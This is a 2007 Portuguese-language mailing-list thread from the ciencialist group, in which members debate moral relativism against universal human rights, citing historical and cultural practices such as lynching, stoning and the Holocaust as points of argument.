> Romano: Não concordo.
>
> Victor: Este é um direito que você tem.
>
> Romano_170: Existem leis naturais universais
> válidos pra qualquer cultura, o amor é uma delas, o
> ódio em qualquer cultura é prejudical, nos leva a
> matar
> e cometer todos os tipos de atrocidades.
>
> Victor: Mas não se trata disso, da influência do
> emocional, que esta é comum ao ser humano, qualquer
> que seja o contexto em que este esteja inserido.
> Mesmo assim, já que falou, o emocional é engolido
> pelos costumes de tal ou qual sociedade, tem seu
> valor minimizado ou desconsiderado quando se trata
> de fazer justiça, o que quer seja isso para
> determinada sociedade. O que achamos um destempero,
> uma coisa de uma crueldade sem limites, um
> comportante alguns milhões de vezes maior que o
> animalesco(que não exibe emoções, move-o apenas o
> instinto de preservação individual e da espécie),
> para outras civilizações não é, de jeito nenhum
> assim. Povos antigos, considerados civilizados e
> avançados em certos conhecimentos, como os maias ou
> astecas, não tinham tais ingredientes em seu
> cardápio do uso deles de cada dia. Era comum, muito
> comum, como prêmio, jogarem "bola" com a cabeça dos
> vencidos numa batalha! Tratava-se de uma mera
> diversão e o prazer do escárnio ao vencido, que
> perdia interiramente o valor de humano. Onde está a
> emoção, aí? Não sentiam ´"pena", "dó" ou tinha
> quaisquer sentimentos do errado, do condenável.
> Ainda hoje há sociedades que exibem tradições
> milenares bizarras, onde o o sentimento de amor,
> ódio, ou o que seja, nem fedem nem cheiram.
>
> Ou seja, tais comportamentes sociais nada têm a
> ver com o tipo de coisa que outras sociedades possam
> pensar a respeito. O que uma pensa em relação à
> outra é absoluta e reciprocamente transparente.
>
> Em suma, o que disse no e-mail anterior e em
> outros, refere-se exclusivamente ao comportamento e
> posturas sociais apenas naquele meio social.
> Referia-me, e acho que foi desnecessário explictar
> isso, à realidade e às verdades inerentes a tal ou
> qual grupamento social. O que nós, ou outras
> sociedades achamos a respeito em absoluto não atinge
> as outras, como já enfatizei, e repito agora. E
> estas, também, não compreendem a razão pela qual
> pensamos e agimos assim, que para elas está errado,
> é um absurdo, que estão certíssimas. Ou seja, do
> mesmo jeito que pensamos a respeito delas. É o tal
> caso: vale o vice-versa e o versa-vice. E nada
> podemos tascar a respeito.
>
>
> Romano_170: Se as leis da física valem em qualquer
> lugar da Terra, as leis morais
> tb são válidas a qualquer cultura. Não podemos dar
> como normal o
> linchamento de pessoas em determinadas culturas.
> Pelos direitos
> humanos universais, todo mundo merece um
> julgamento digno. Enfim, é um
> assunto muito discutível
>
> Victor: Não podemos, sob hipótese alguma, fazer
> comparações entre as leis da física, estas sim,
> universais, e "leis morais", que são de um
> relativismo que faz pena, conforme discutido no
> questionamento anterior, onde, particularmente, usei
> exemplos simples e possíveis de situações que
> mostram claramente essa maleabilidade no que se
> refere a conceitos do tipo discutido neste e-mail e
> nesta thread. São duas coisa tão diferentes quanto
> um ser vivo e uma pedra. Fico com a impressão de
> que o amigo não tem a mínima idéia do que sejam leis
> físicas; pois incluí-la num contexto desse tipo,
> buscando ancoramento para justificar uma
> "universalidade" de leis morais, ou que isto seja,
> é, queira me desculpar, no mínimo, um disparate.
> Pelo que denota, apenas, desconhecimento do que
> está tratando. Não sei sua formação. Só sei, agora,
> que ela nada a ver com física ou matemática. Se for
> filósofo, ou estudante de filosofia, pior ainda.
> Mas sugiro, fortemente, que, antes de fazer uma
> dessas tolas analogias, até por respeito aos que
> sabidamente não são da área científica, nem querem
> saber dessas coisas, embora saibam muitas outras,
> que os da área nem desconfiam, procure informar-se
> melhor a respeito de um dos objetos referenciados.
> Por isso, vou tirar 100 pontos de você. Será,
> agora, apenas "romano_70"!
>
> Romano_70: Não podemos dar como normal o
> linchamento de pessoas em determinadas culturas.
> Pelos direitos
> humanos universais, todo mundo merece um
> julgamento digno. Enfim, é um
> assunto muito discutível.
>
> Victor: Repetí o texto acima, de certa forma já
> comentado, para tecer mais alguns comentários. Você
> diz: " Não podemos dar como normal o linchamento de
> pessoas em determinadas culturas". Embora isto não
> seja verdadeiro sequer para nós, que "não achamos
> normal", só quero lembrar que não está se tratando
> de acharmos ou não normal tal ou qual comportamento
> de determinadas culturas. Trata-se, apenas, do que
> esta cultura acha ou entende como certo para ela!
> Tratam-se de suas realidades inerentes, atreladas
> aos costumes e tradições daquela determinada
> sociedade. O certo ou errado, refere-se à cultura em
> si. Não ao que pensam outras culturas, que têm, de
> maneira igualmente corretas suas tradições e
> comportamentos. O que uma acha em relação a outra,
> vice-versa, é irrelevante. Agora, voltemos um
> pouquinho cá para dentro de nossa sociedade, que se
> arvora o direito de ter as verdades absolutas: o que
> pensamos, muitos de nós, ante uma atrocidade como
> aquela que ocorreu com o garoto João, ou com o o
> sequestro, estupro e assassinato de duas garotas
> estudantes de 10 e 13 anos, aquí em Pernambuco?
> Garanto uma coisa: uma boa parte da população
> trucidaria, sem remorsos posterioes, os bandidos que
> cometeram os desatinos. Ou não é assim? Mas
> empunhamos o cajado da justiça e da retidão para
> criticar comportamentos às vezes tão crueis quanto
> os que você cita, como base para seus argumentos.
> Agora, admito que há uma coisa que pode ser
> universal: a hipocrisia. Todos merecem um julgamento
> digno, você diz certo. Mas até o conceito de
> "julgamento digno" é varíavel também. De uma fluidez
> que dá gosto! Depende da sociedade, e o caráter
> fluídico do conceito está diretamente ligado ao que
> NÓS pensamos a respeito do que pensa aquela
> determinada sociedade.
>
> " Enfim, é um assunto muito discutível.", conforme
> você conclui sua própria prosopopéia. Mas é disso
> que estamos tratando, durante todo o tempo.
>
> Sds,
>
> Victor.
>
>
>
> Sds,Romano
>
> --- Em ciencialist@yahoogrupos.com.br, "Victor"
> <jvoneto@...> escreveu
> >
> > Ricardo,
> >
> > Você fechou claramente o que tentei expor com
> exemplos, centrados em
> circunstâncias igualmente claras. Moral, ética,
> religião,
> comportamento, enfim, tudo é uma função
> geográfica!. Para mim,isto é
> de uma clareza, sobre o que não tenho dúvidas, o
> que me economiza o
> tempo de estar elaborando perguntas e mais
> perguntas. Minha realidade
> é minha realidade. A de outros, é a de outros. Que
> só depende do lugar
> e/ou das circunstâncias, como se tem corretamente
> enfatizado. Imagina
> que eu, civilizado como penso que sou, tivesse
> nascido em uma tribo
> brasileira, digamos, a Tupinambá. Numa guerra,
> aprisionei uma linda
> guerreira. Ia comê-la, sim senhor! Aí, depois,
> viria uma batata de
> perna, um... Se não fosse ela, seria eu. Bem, já
> almocei.
> >
> > Sds,
> > Victor.

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 14:51

Victor,

Colocando as coisas deste jeito, pessoas inteligentes, vão perceber as
falhas lógicas do seu argumento. Dizer que direitos humanos parte de
desejos e não da razão acaba com a discussão por aqui, porque assim
voce mata toda a filosofia

Abs,Romano


--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
>
> Chicão,
>
> O fato de existir um documento desse tipo só corrobora o que Homero,
Ricardo e o escriba aquí têm exposto, neste e em outros e-mails! A
carta de Direitos Humano é uma tentativa de igualar comportamentos,
dentro de um padrão
> humanitário, conforme os signatários acham que deve ser. Perfeito, e
isto é desejável. Mas, fundamentalmente, surgiu em razão dessa
flutuação geográfica e circunstanciais de ações e comportamentos. Nada
demais, em relação a isso. Eu mesmo acharia uma beleza que as todas
pessoas tivessem tratamentos decentes, respeitosos e dignos, em
qualquer parte do mundo!. E pergunto: quem não gostaria? Sem exceção.
Documentos como esses só expressam esses nossos desejos. Pretendem
sensibilizar as sociedades que continuam exibindo comportamento prá lá
de medieval, segundo nossa ótica, repito. Mas é só isso! Tudo o que
discutí e comentei referiu-se ao status comportamental das várias
regiões do planeta, agora e em épocas passadas. Que são daquele jeito,
e naõ de outro, diferente de nosso modus operandi. Em nenhum momento,
eu ou qualquer outro debatedor declarou que concordava com tal ou qual
coisa. Apenas comentou a realidade dos fatos de hoje, apesar de
estarmos no século 21. Você acha que algumas sociedades da África vão
deixar, por exemplo, de amputar o clítoris de criancinhas para
prevenir atos "pecaminosos" num futuro de adulta, por causa de um
documento desse tipo? Estão é se lixando e nos chamando de babacas e
pecadores. Isto para nós é um crime incomensurável, horroroso,
animalesco e mediaval. Para eles, não. E certamente acham mesmo que
crime seria não fazê-lo. Ou lapidar mulheres adultas, por "crimes" de
adultério fora de uma relação segundo seus padrões? Você sabe o que
significa lapidar pessoas nessas culturas? Se não sabe, arrepie-se
todo, quando souber. Pense a respeito. Para nós isso é impensável.
Para eles, não! E até acham bom, para treinar a pontaria... Estes são
apenas alguns exemplos mais à mão, veiculados frequentemente pela
mídia. Você acha que o povo alemão, em sua GRANDE MAIORIA, não estava
de acordo com o chamado holocausto? Os judeus passaram a ser, a partir
de dado momento, menos que animais daninhos, seres viventes abjetos. A
grande maioria não tinha o menor remorso pelo que estava acontecendo.
Não foi apenas Hitler o culpado, não foi a política alemã a única
culpada. Aquela sociedade incorporou e materializou esse
comportamento, achado correto e necessário. Ou não foi? Está errado
para nós. Mas não esteve para a maioria alemã das décadas de 30/40,
nem está para milhões, ainda hoje, que não acredita naquele
holocausto, naquelas coisas. E aí, onde está a ética universal? Veja
bem, e aqui nem estou tratando de sociedades mais atrasadas. Mas de
uma cá de nossas plagas, de galegões e tudo o mais! Há centenas de
exemplos mais próximos de nós próprios, que poderiam ser citados,
entre outros mencionados em postagens anteriores.
> Só quero dizer, para finalizar, que a existência ou não de
Documentos como o que você cita, infelizmente, é irrelevante para o
que realmente existe nesse mister. Nem fede nem cheira.
> Meus comentários referem-se, apenas, aos dados conhecidos. E estes
representam os mais contundentes argumentos.
>
> Sds,
> Victor.
>
> ----- Original Message -----
> From: Chicao Valadares
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, February 14, 2007 12:43 PM
> Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era
Re: Carne: enfim o método )
>
>
> Victor e Ricardo voces acabaram de declarar morte a
> Declaração Universal dos Direitos do Homem !!!
>
> Me digam uma coisa, por que voces acham
> que se escreve coisas desse tipo:
>
http://www.gddc.pt/direitos-humanos/textos-internacionais-dh/universais.html
>
> Apenas instrumento de retórica??
>
> --- Victor <jvoneto@...> escreveu:
>
> > Romano_170,
> >
> >
> > ----- Original Message -----
> > From: romano_170
> > To: ciencialist@yahoogrupos.com.br
> > Sent: Tuesday, February 13, 2007 3:25 PM
> > Subject: [ciencialist] As baratas, nossas
> > irmãzinhas!!! ( Era Re: Carne: enfim o método )
> >
> >
> > Romano: Não concordo.
> >
> > Victor: Este é um direito que você tem.
> >
> > Romano_170: Existem leis naturais universais
> > válidos pra qualquer cultura, o amor é uma delas, o
> > ódio em qualquer cultura é prejudical, nos leva a
> > matar
> > e cometer todos os tipos de atrocidades.
> >
> > Victor: Mas não se trata disso, da influência do
> > emocional, que esta é comum ao ser humano, qualquer
> > que seja o contexto em que este esteja inserido.
> > Mesmo assim, já que falou, o emocional é engolido
> > pelos costumes de tal ou qual sociedade, tem seu
> > valor minimizado ou desconsiderado quando se trata
> > de fazer justiça, o que quer seja isso para
> > determinada sociedade. O que achamos um destempero,
> > uma coisa de uma crueldade sem limites, um
> > comportante alguns milhões de vezes maior que o
> > animalesco(que não exibe emoções, move-o apenas o
> > instinto de preservação individual e da espécie),
> > para outras civilizações não é, de jeito nenhum
> > assim. Povos antigos, considerados civilizados e
> > avançados em certos conhecimentos, como os maias ou
> > astecas, não tinham tais ingredientes em seu
> > cardápio do uso deles de cada dia. Era comum, muito
> > comum, como prêmio, jogarem "bola" com a cabeça dos
> > vencidos numa batalha! Tratava-se de uma mera
> > diversão e o prazer do escárnio ao vencido, que
> > perdia interiramente o valor de humano. Onde está a
> > emoção, aí? Não sentiam ´"pena", "dó" ou tinha
> > quaisquer sentimentos do errado, do condenável.
> > Ainda hoje há sociedades que exibem tradições
> > milenares bizarras, onde o o sentimento de amor,
> > ódio, ou o que seja, nem fedem nem cheiram.
> >
> > Ou seja, tais comportamentes sociais nada têm a
> > ver com o tipo de coisa que outras sociedades possam
> > pensar a respeito. O que uma pensa em relação à
> > outra é absoluta e reciprocamente transparente.
> >
> > Em suma, o que disse no e-mail anterior e em
> > outros, refere-se exclusivamente ao comportamento e
> > posturas sociais apenas naquele meio social.
> > Referia-me, e acho que foi desnecessário explictar
> > isso, à realidade e às verdades inerentes a tal ou
> > qual grupamento social. O que nós, ou outras
> > sociedades achamos a respeito em absoluto não atinge
> > as outras, como já enfatizei, e repito agora. E
> > estas, também, não compreendem a razão pela qual
> > pensamos e agimos assim, que para elas está errado,
> > é um absurdo, que estão certíssimas. Ou seja, do
> > mesmo jeito que pensamos a respeito delas. É o tal
> > caso: vale o vice-versa e o versa-vice. E nada
> > podemos tascar a respeito.
> >
> >
> > Romano_170: Se as leis da física valem em qualquer
> > lugar da Terra, as leis morais
> > tb são válidas a qualquer cultura. Não podemos dar
> > como normal o
> > linchamento de pessoas em determinadas culturas.
> > Pelos direitos
> > humanos universais, todo mundo merece um
> > julgamento digno. Enfim, é um
> > assunto muito discutível
> >
> > Victor: Não podemos, sob hipótese alguma, fazer
> > comparações entre as leis da física, estas sim,
> > universais, e "leis morais", que são de um
> > relativismo que faz pena, conforme discutido no
> > questionamento anterior, onde, particularmente, usei
> > exemplos simples e possíveis de situações que
> > mostram claramente essa maleabilidade no que se
> > refere a conceitos do tipo discutido neste e-mail e
> > nesta thread. São duas coisa tão diferentes quanto
> > um ser vivo e uma pedra. Fico com a impressão de
> > que o amigo não tem a mínima idéia do que sejam leis
> > físicas; pois incluí-la num contexto desse tipo,
> > buscando ancoramento para justificar uma
> > "universalidade" de leis morais, ou que isto seja,
> > é, queira me desculpar, no mínimo, um disparate.
> > Pelo que denota, apenas, desconhecimento do que
> > está tratando. Não sei sua formação. Só sei, agora,
> > que ela nada a ver com física ou matemática. Se for
> > filósofo, ou estudante de filosofia, pior ainda.
> > Mas sugiro, fortemente, que, antes de fazer uma
> > dessas tolas analogias, até por respeito aos que
> > sabidamente não são da área científica, nem querem
> > saber dessas coisas, embora saibam muitas outras,
> > que os da área nem desconfiam, procure informar-se
> > melhor a respeito de um dos objetos referenciados.
> > Por isso, vou tirar 100 pontos de você. Será,
> > agora, apenas "romano_70"!
> >
> > Romano_70: Não podemos dar como normal o
> > linchamento de pessoas em determinadas culturas.
> > Pelos direitos
> > humanos universais, todo mundo merece um
> > julgamento digno. Enfim, é um
> > assunto muito discutível.
> >
> > Victor: Repetí o texto acima, de certa forma já
> > comentado, para tecer mais alguns comentários. Você
> > diz: " Não podemos dar como normal o linchamento de
> > pessoas em determinadas culturas". Embora isto não
> > seja verdadeiro sequer para nós, que "não achamos
> > normal", só quero lembrar que não está se tratando
> > de acharmos ou não normal tal ou qual comportamento
> > de determinadas culturas. Trata-se, apenas, do que
> > esta cultura acha ou entende como certo para ela!
> > Tratam-se de suas realidades inerentes, atreladas
> > aos costumes e tradições daquela determinada
> > sociedade. O certo ou errado, refere-se à cultura em
> > si. Não ao que pensam outras culturas, que têm, de
> > maneira igualmente corretas suas tradições e
> > comportamentos. O que uma acha em relação a outra,
> > vice-versa, é irrelevante. Agora, voltemos um
> > pouquinho cá para dentro de nossa sociedade, que se
> > arvora o direito de ter as verdades absolutas: o que
> > pensamos, muitos de nós, ante uma atrocidade como
> > aquela que ocorreu com o garoto João, ou com o o
> > sequestro, estupro e assassinato de duas garotas
> > estudantes de 10 e 13 anos, aquí em Pernambuco?
> > Garanto uma coisa: uma boa parte da população
> > trucidaria, sem remorsos posterioes, os bandidos que
> > cometeram os desatinos. Ou não é assim? Mas
> > empunhamos o cajado da justiça e da retidão para
> > criticar comportamentos às vezes tão crueis quanto
> > os que você cita, como base para seus argumentos.
> > Agora, admito que há uma coisa que pode ser
> > universal: a hipocrisia. Todos merecem um julgamento
> > digno, você diz certo. Mas até o conceito de
> > "julgamento digno" é varíavel também. De uma fluidez
> > que dá gosto! Depende da sociedade, e o caráter
> > fluídico do conceito está diretamente ligado ao que
> > NÓS pensamos a respeito do que pensa aquela
> > determinada sociedade.
> >
> > " Enfim, é um assunto muito discutível.", conforme
> > você conclui sua própria prosopopéia. Mas é disso
> > que estamos tratando, durante todo o tempo.
> >
> > Sds,
> >
> > Victor.
> >
> >
> >
> > Sds,Romano
> >
> > --- Em ciencialist@yahoogrupos.com.br, "Victor"
> > <jvoneto@> escreveu
> > >
> > > Ricardo,
> > >
> > > Você fechou claramente o que tentei expor com
> > exemplos, centrados em
> > circunstâncias igualmente claras. Moral, ética,
> > religião,
> > comportamento, enfim, tudo é uma função
> > geográfica!. Para mim,isto é
> > de uma clareza, sobre o que não tenho dúvidas, o
> > que me economiza o
> > tempo de estar elaborando perguntas e mais
> > perguntas. Minha realidade
> > é minha realidade. A de outros, é a de outros. Que
> > só depende do lugar
> > e/ou das circunstâncias, como se tem corretamente
> > enfatizado. Imagina
> > que eu, civilizado como penso que sou, tivesse
> > nascido em uma tribo
> > brasileira, digamos, a Tupinambá. Numa guerra,
> > aprisionei uma linda
> > guerreira. Ia comê-la, sim senhor! Aí, depois,
> > viria uma batata de
> > perna, um... Se não fosse ela, seria eu. Bem, já
> > almocei.
> > >
> > > Sds,
> > > Victor.
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
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SUBJECT: P/ Chicao - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 15:40

Nada a ver, vale pra todos os seres humanos, inclusive muçulmanos

1) que o direito à liberdade e à igualdade é um direito inato e não
pode ser alienado; e

(2) que, porque o homem é um ser racional e moral, é diferente de
todas as outras criaturas da terra e, por isso, titular de certos
direitos e liberdades de que as outras criaturas não gozam.

O Artigo 2.º, que exprime o princípio básico da igualdade e da
não-discriminação no que se refere ao gozo de direitos humanos e
liberdades fundamentais, proíbe qualquer «distinção, nomeadamente de
raça, de cor, de sexo, de língua, de religião, de opinião política ou
outra, de origem nacional ou social, de fortuna, de nascimento ou de
qualquer outra situação».

São inegavelmernte direitos universais

Abs,Romano


--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...> escreveu
>
> Para muitos povos, muitas culturas, muitos indivíduos, a Carta de
Direitos Humanos, deveria ser bem diferente para ser satisfatória.
Para muitas religiões, por exemplo, ela deveria conter menção a
necessidade de seguir uma determinada religião ou as normas de um
determinado deus. O Papa, e o Vaticano, protestaram recentemente pela
eliminação a menção de deus nos acordos e regras da comunidade
europeia. E a base da religião muçulmana é o advento do tempo em que
TODOS sem exceção, sejam muçulamnos, e portanto uma Carta de Direitos
Humanos deveria assim determinar, para ser perfeita.




SUBJECT: P/ Chicão - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 15:46

Olá Chicão

Chicão: "Você virou cristão foi??? :p:p"

risos...:-) Tem razão, é mesmo parecido..:-) Mas isso se deve a um efeito da natureza de boa parte das religiões, elas se apropriam de regras, normas e conceitos de uma cultura, e os reapresentam como sendo "normas, regras e conceitos" divinos, enviados pela divindade em questão. Não pe de adimirar que os conceitos filosoficos religiosos se pareçam demais com os conceitos admitidos na cultura onde eles surgem.

Apenas depois de se estabelecerem, e estabilizarem como fonte de normatização, é que as regras religiosas se modificam, para se adequar as vontades dos dirigentes religiosos e da política do momento.

Por isso um sistema "justo" se parece com as normas mais básicas de algumas religiões.

Mas observe que, se sair um pouco das normas básicas, começa a ter problemas com os conceitos, inclusive esse de justiça imparcial. Pois se as regras são justas se todos concordam, mandar ateus para o sofrimento eterno, em fogo e dor, não é exatamente, "cristão"..:-) Mas é norma, dogma, que não se pode descartar.

Chicão: "Então a coisa não é tão relativa quanto você defende.
O mais justo possível seria o máximo de alcance,
extensão e igualdade. Bela aula de cristianismo!!!:p "

Na verdade, não é bem assim. Eu chamei o exemplo de justo, mas sei que é justo "para mim" (e para muitos outros) mas não necessáriametne para todos, ou em todas as circunstâncias. Além disso, é possível imaginar cenários onde a dor e o sofrimento sejam aspectos importantes, e individuos que concordem em se submeter a estes, mesmo que implique em dano para os outros.

Por exemplo, o inferno cristão é parte importante do sistema de crenças deste, e enviar hereges, ateus e discordantes para o sofrimento eterno considerado uma norma "justa".

Retomemos o exemplo, das individualidades decidindo em que sistema de regras vão viver (melhor individualidades que 'almas", para não ser confundido com religião..:-). Um problema que pode advir dessa situação é encontrar alguém que "deseje" o sofrimento, como forma, por exemplo, de expiar culpas ou se aproximar da divindade (e isso é bem mais comum do que parece). Como convencer este individuo que devemos estabalecer regras que impeçam tal sofrimento? Mesmo que concordemos que, se desejar, ele tem o "direito" de agir assim para com si mesmo, ele pode exigir agir assim para com terceiros. Nesse caso, como estabelecer regras gerais, se uma das individualidades se recusa a ceder nessa questão?

O exemplo que eu apresentei, e de que gosto muito, não é livre de falhas. Um grupo de individualidades que precisasse de consenso para nascer, poderia se ver eternamente impedido, por uma exigência irracional, ou fundamentalista. Por exemplo, uma individualidade poderia se recusar a nascer em um mundo que não obrigasse, todos, a seguir suas normas religiosas, se acreditasse que isso é a vontade de deus.

O exemplo é útil até certo ponto, até onde se possa contar com decisões equilibradas e baseadas em razão. Qualquer interferência de crença forte, bagunça tudo e torna tudo mais complicado..:-)

Chicão: "Pimenta nos olhos dos outros é refresco :p."

Um dos ditados mais corretos que já se criou..:-)

Um abraço.

Homero




----- Original Message -----
From: Chicao Valadares
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 14, 2007 12:33 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )


Homero sua resposta esta com o sinal ">", ao contrário
das minhas respostas.

--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Imaginemos que almas ainda não nascidas (e não
> importa aqui se acreditamos em almas ou não, é
> apenas uma hipótese para permitir o raciocínio)
> estejam debatendo as condições do mundo em que irão
> viver. Só nascerão quando todos concordarem com as
> regras desse mundo. Mas, o mais importante, nenhuma
> das almas pode saber de antemão em que condições irá
> nascer. Se será homem, mulher, deficiente, normal,
> alto, baixo, branco, negro, esperto, estúpido, etc,
> etc, etc.
>
> Se você não sabe em que condições irá estar no
> futuro, tende a ser menos tolerante com
> discriminações e danos que pode atingir a você em
> algum momento.
>
> Dessa forma, o acordo final entre essas almas
> parecerá sempre ser a forma mais justa de lidar com
> as pessoas, já que terá abrandado toda e qualquer
> discrepância, benefício ou dano, que fazem parte da
> vida em comum e da vida neste universo. Por exemplo,
> sem saber se nascerá capaz ou com alguma
> deficiência, todas as almas concordarão que não se
> deve penalizar um deficiente, e que é preciso
> compensar essa deficiência, pois isso pode ser em
> seu benefício. Seria também mais difícil que uma
> alma concordasse com oprimir ou massacrar mulheres,
> pois poderia ela a nascer mulher e receber o peso
> dessas regras.

"Fazei aos homens tudo o que queirais que eles vos
façam..."
(MATEUS cap. VII, v. 12)

Você virou cristão foi??? :p:p

> Assim, mesmo sem absolutos, as leis e regras na
> Finlandia parecem ser mais "justas" que as leis e
> regras na Nigéria.
>...
>...
>...
> Me parece que leis justas são as que tem mais amplo
> alcance, aplicação mais extensa e menos
> discriminatória.

Então a coisa não é tão relativa quanto você defende.
O mais justo possível seria o máximo de alcance,
extensão e igualdade. Bela aula de cristianismo!!!:p

> Por isso é tão complicado a questão
> da pena de morte, pois a maioria dos que são a
> favor, sabem perfeitamente que não correm nenhum
> risco de ser objeto da mesma. Dessa forma, é bem
> mais fácil apoiar uma norma que não nos diz
> respeito, nem a nossos filhos e entes queridos. Mais
> difícil seria, por exemplo, apoiar pena de morte
> para, digamos, sonegação fiscal ou corrupção
> administrativa (que, em alguns casos, pode causar
> mais morte, dor e sofrimento que assassinatos).
> Nesses casos, o risco de nos atingir é bem maior, e
> as coisas mudam um pouco de figura.

Pimenta nos olhos dos outros é refresco :p.

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: P/ Chicao - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 16:10

Olá Chicão

O Vitor já explicou, de forma perfeita, a questão da Carta de Direitos Humanos. E tanto eu como ele, e penso que você, gostariamos de ver a mesma sendo aplicada a todos os povos e indivíduos. Quem não gostaria?

É justamente devida a essa pergunta, "quem não gostaria?", que vou tentar complementar a já perfeita resposta do Vitor. Porque a resposta é, muitos não gostariam.

Para muitos povos, muitas culturas, muitos indivíduos, a Carta de Direitos Humanos, deveria ser bem diferente para ser satisfatória. Para muitas religiões, por exemplo, ela deveria conter menção a necessidade de seguir uma determinada religião ou as normas de um determinado deus. O Papa, e o Vaticano, protestaram recentemente pela eliminação a menção de deus nos acordos e regras da comunidade europeia. E a base da religião muçulmana é o advento do tempo em que TODOS sem exceção, sejam muçulamnos, e portanto uma Carta de Direitos Humanos deveria assim determinar, para ser perfeita.

Ou seja, mesmo a Carta de Direitos Humanos não é um consenso, mas um conjunto de regras relativas.

Que me parece exceletne, mas é uma avaliação subjetiva e pessoal, não um conceito universal.

Um abraço.

Homero


----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 14, 2007 1:42 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )


Chicão,

O fato de existir um documento desse tipo só corrobora o que Homero, Ricardo e o escriba aquí têm exposto, neste e em outros e-mails! A carta de Direitos Humano é uma tentativa de igualar comportamentos, dentro de um padrão
humanitário, conforme os signatários acham que deve ser. Perfeito, e isto é desejável. Mas, fundamentalmente, surgiu em razão dessa flutuação geográfica e circunstanciais de ações e comportamentos. Nada demais, em relação a isso. Eu mesmo acharia uma beleza que as todas pessoas tivessem tratamentos decentes, respeitosos e dignos, em qualquer parte do mundo!. E pergunto: quem não gostaria? Sem exceção. Documentos como esses só expressam esses nossos desejos. Pretendem sensibilizar as sociedades que continuam exibindo comportamento prá lá de medieval, segundo nossa ótica, repito. Mas é só isso! Tudo o que discutí e comentei referiu-se ao status comportamental das várias regiões do planeta, agora e em épocas passadas. Que são daquele jeito, e naõ de outro, diferente de nosso modus operandi. Em nenhum momento, eu ou qualquer outro debatedor declarou que concordava com tal ou qual coisa. Apenas comentou a realidade dos fatos de hoje, apesar de estarmos no século 21. Você acha que algumas sociedades da África vão deixar, por exemplo, de amputar o clítoris de criancinhas para prevenir atos "pecaminosos" num futuro de adulta, por causa de um documento desse tipo? Estão é se lixando e nos chamando de babacas e pecadores. Isto para nós é um crime incomensurável, horroroso, animalesco e mediaval. Para eles, não. E certamente acham mesmo que crime seria não fazê-lo. Ou lapidar mulheres adultas, por "crimes" de adultério fora de uma relação segundo seus padrões? Você sabe o que significa lapidar pessoas nessas culturas? Se não sabe, arrepie-se todo, quando souber. Pense a respeito. Para nós isso é impensável. Para eles, não! E até acham bom, para treinar a pontaria... Estes são apenas alguns exemplos mais à mão, veiculados frequentemente pela mídia. Você acha que o povo alemão, em sua GRANDE MAIORIA, não estava de acordo com o chamado holocausto? Os judeus passaram a ser, a partir de dado momento, menos que animais daninhos, seres viventes abjetos. A grande maioria não tinha o menor remorso pelo que estava acontecendo. Não foi apenas Hitler o culpado, não foi a política alemã a única culpada. Aquela sociedade incorporou e materializou esse comportamento, achado correto e necessário. Ou não foi? Está errado para nós. Mas não esteve para a maioria alemã das décadas de 30/40, nem está para milhões, ainda hoje, que não acredita naquele holocausto, naquelas coisas. E aí, onde está a ética universal? Veja bem, e aqui nem estou tratando de sociedades mais atrasadas. Mas de uma cá de nossas plagas, de galegões e tudo o mais! Há centenas de exemplos mais próximos de nós próprios, que poderiam ser citados, entre outros mencionados em postagens anteriores.
Só quero dizer, para finalizar, que a existência ou não de Documentos como o que você cita, infelizmente, é irrelevante para o que realmente existe nesse mister. Nem fede nem cheira.
Meus comentários referem-se, apenas, aos dados conhecidos. E estes representam os mais contundentes argumentos.

Sds,
Victor.

----- Original Message -----
From: Chicao Valadares
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 14, 2007 12:43 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )

Victor e Ricardo voces acabaram de declarar morte a
Declaração Universal dos Direitos do Homem !!!

Me digam uma coisa, por que voces acham
que se escreve coisas desse tipo:
http://www.gddc.pt/direitos-humanos/textos-internacionais-dh/universais.html

Apenas instrumento de retórica??

--- Victor <jvoneto@uol.com.br> escreveu:

> Romano_170,
>
>
> ----- Original Message -----
> From: romano_170
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, February 13, 2007 3:25 PM
> Subject: [ciencialist] As baratas, nossas
> irmãzinhas!!! ( Era Re: Carne: enfim o método )
>
>
> Romano: Não concordo.
>
> Victor: Este é um direito que você tem.
>
> Romano_170: Existem leis naturais universais
> válidos pra qualquer cultura, o amor é uma delas, o
> ódio em qualquer cultura é prejudical, nos leva a
> matar
> e cometer todos os tipos de atrocidades.
>
> Victor: Mas não se trata disso, da influência do
> emocional, que esta é comum ao ser humano, qualquer
> que seja o contexto em que este esteja inserido.
> Mesmo assim, já que falou, o emocional é engolido
> pelos costumes de tal ou qual sociedade, tem seu
> valor minimizado ou desconsiderado quando se trata
> de fazer justiça, o que quer seja isso para
> determinada sociedade. O que achamos um destempero,
